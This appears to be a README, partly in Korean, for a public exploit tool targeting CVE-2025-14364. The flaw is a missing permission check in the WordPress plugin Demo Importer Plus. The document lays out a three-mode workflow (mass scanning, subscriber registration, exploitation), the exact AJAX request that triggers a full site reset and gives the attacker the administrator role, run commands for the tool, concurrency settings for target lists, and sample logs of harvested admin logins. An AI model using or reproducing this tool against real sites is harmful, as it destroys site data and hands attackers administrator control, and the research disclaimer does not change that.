
Demo Importer Plus <= 2.0.8 - 인증 누락으로 인한 인증된 (구독자+) 사용자의 사이트 초기화 및 권한 상승
Demo Importer Plus <= 2.0.8 - 인증된(구독자+) 사이트 재설정 및 권한 상승을 허용하는 누락된 권한 검증
_ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ /| |_|_ _) |_ |_|_
\_ \/ |_ /_ \_/ /_ _) | | _) |_) |
인증된 구독자 →
do-reinstallAJAX 액션을 통한 관리자
근본 원인:
Ajax::handle_request()는 current_user_can()을 호출하지 않고 demo_importer_plus AJAX 액션을 등록합니다. 인증된 구독자라면 누구나 {"demo_action":"do-reinstall"}을 전송하여 wp_install()을 트리거할 수 있으며, 이 함수는 (users / usermeta를 제외한) 모든 데이터베이스 테이블을 삭제하고 WordPress 설치 절차를 다시 실행하면서 — 그 과정에서 공격자 계정에 관리자 역할을 자동으로 부여합니다.
Mode 1 — Diagnose
Probe: DNS · /wp-login.php · /wp-admin/admin-ajax.php · REST /wp/v2/users
→ Identify live WordPress targets
Mode 2 — Register
POST /wp-login.php?action=register
→ Create subscriber account
→ Activation email sent to inbox
↳ You MUST click the email link before running Mode 3
Mode 3 — Exploit
POST /wp-login.php → Authenticate as subscriber
GET /wp-admin/ → Extract wp-rest-nonce
POST /wp-admin/admin-ajax.php
action=demo_importer_plus
{"demo_action":"do-reinstall"} → Trigger full site reset
← Response: "Site has been reset successfully"
→ Attacking account now holds Administrator role
git clone https://github.com/Nxploited/CVE-2025-14364.git
cd CVE-2025-14364
pip install -r requirements.txt
python3 CVE-2025-14364.py
requirements.txt
aiohttp>=3.9.0
colorama>=0.4.6
urllib3>=1.26.0
Mode [1/2/3]: 1 = Diagnose 2 = Register 3 = Exploit
Targets file: list.txt (one host per line)
Concurrency: default 30, max 200
Timeout: default 10s
대상 형식 — list.txt:
https://target1.com
target2.com
http://target3.com
호스트당 4개의 엔드포인트를 프로브하고 정리된 결과를 작성합니다.
Mode: 1
출력 → diagnostics_results.txt · passed_targets.txt
Mode: 2
Email: [email protected]
Username: Nxploited
Password: NxploitedSA
모드 3을 실행하기 전에 받은 편지함을 확인하고 활성화 링크를 클릭하세요.
출력 → register_results.txt
Mode: 3
Username: Nxploited
Password: NxploitedSA
성공 시 도구는 다음을 출력합니다:
[HH:MM:SS] SUCCESS "success":true,"message":"Site has been reset successfully" -> https://target.com
그리고 exploit_results.txt에 다음을 기록합니다:
https://target.com/wp-login.php site:... user:Nxploited pass:NxploitedSA type:admin
취약한 요청:
POST /wp-admin/admin-ajax.php?action=demo_importer_plus HTTP/1.1
Content-Type: application/json
X-WP-Nonce: <extracted_nonce>
{"demo_action":"do-reinstall"}
성공 응답:
{"success": true, "data": {"message": "Site has been reset successfully"}}
Nonce 추출 — 두 가지 대체 소스:
wpApiSettings.nonce (from /wp-admin/ page source)
elementorOneSettingsData.wpRestNonce (fallback)
By : Nxploited (Khaled Alenazi)
GitHub : https://github.com/Nxploited
Telegram : @KNxploited
THIS SOFTWARE IS RELEASED STRICTLY FOR SECURITY RESEARCH AND EDUCATION.
The author bears zero responsibility for any actions taken with this tool
against systems the operator does not own or have explicit written
authorization to test.
Unauthorized use against third-party systems violates computer crime laws
in most jurisdictions (CFAA, CMA, and equivalents worldwide) and may result
in criminal prosecution.
You alone are responsible for ensuring you have lawful permission
before running this tool against any target.
| CVE | CVE-2025-14364 |
| CVSS v3.1 | 8.8 높음 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 플러그인 | Demo Importer Plus |
| 영향받는 버전 | 모든 버전 ≤ 2.0.8 |
| 필요한 권한 | 구독자 (최하위 등록 역할) |
| 유형 | 누락된 권한 검사 → 전체 사이트 재설정 → 권한 상승 |
| CWE | CWE-862 · 인가 누락 |
| 파일 | 내용 |
|---|
diagnostics_results.txt | 대상별 전체 프로브 JSON |
passed_targets.txt | 정상 대상 (오류가 감지되지 않음) |
register_results.txt | 등록 시도 기록 |
exploit_results.txt | 로그인 · nonce · 재설정 결과 · 확인된 관리자 적중 |
reset_results.txt | 대상별 원시 do-reinstall 응답 |